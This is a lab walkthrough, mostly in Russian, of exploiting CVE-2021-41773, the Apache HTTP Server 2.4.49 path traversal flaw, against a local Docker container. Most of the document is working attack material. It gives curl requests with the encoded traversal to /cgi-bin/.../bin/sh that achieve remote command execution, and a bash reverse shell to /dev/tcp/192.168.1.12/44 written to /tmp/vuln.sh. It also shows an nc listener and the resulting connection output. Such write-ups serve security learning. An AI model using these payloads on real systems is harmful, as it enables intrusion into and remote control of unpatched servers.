
The first vulnerability with the CVE identifier CVE-2021-41773 is a path traversal flaw that exists in Apache HTTP Server 2.4.49.
Ошибка была обнаружена в изменении, внесённом в нормализацию путей в Apache HTTP Server 2.4.49. Злоумышленник может использовать атаку обхода пути для сопоставления URL с файлами за пределами каталогов, настроенных директивами типа Alias.
Если файлы за пределами этих каталогов не защищены обычной конфигурацией по умолчанию "require all denied", такие запросы могут быть успешными. Если для этих псевдонимов также включены CGI-скрипты, это может привести к удалённому выполнению кода.
Известно, что эта проблема эксплуатируется в реальных условиях.
Эта проблема затрагивает только Apache 2.4.49, а не более ранние версии.
Атака обхода пути (также известная как directory traversal) направлена на доступ к файлам и каталогам, которые хранятся вне корневой веб-папки. Манипулируя переменными, ссылающимися на файлы с последовательностями 'точка-точка-слеш (../)' и их вариациями, или используя абсолютные пути к файлам, можно получить доступ к произвольным файлам и каталогам в файловой системе, включая исходный код приложения, конфигурационные и критические системные файлы. Следует отметить, что доступ к файлам ограничен системным контролем доступа (например, в случае заблокированных или используемых файлов в операционной системе Microsoft Windows).
Эта атака также известна как 'dot-dot-slash', 'directory traversal', 'directory climbing' и 'backtracking'.
$ docker-compose build
$ docker-compose up
Подтверждение работы
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Жертва : localhost:1234
Атакующий : 192.168.1.12
Согласно документации, это ошибка, позволяющая выполнять код удалённо (RCE).
Мы можем эксплуатировать её, выполнив curl с папкой cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Давайте проверим, действительно ли у нас есть доступ к команде, например id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Reverse shell
Мы протестируем reverse shell, создав bash-файл на сервере жертвы.
В качестве примера возьмём reverse shell на bash из репозитория PayloadsAllTheThings.
Вот пример:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Давайте создадим файл vuln.sh на машине жертвы в папке /tmp/!
Этот файл будет содержать наш reverse shell, который мы сможем запустить удалённо. Он подключится к нашей локальной машине на порт 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Вы можете проверить содержимое файла с помощью команды cat
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Listener с ncat
Создадим слушатель на локальной машине.
$ nc -lvnp 44
Остаётся только выполнить удалённый файл.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Ответ :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.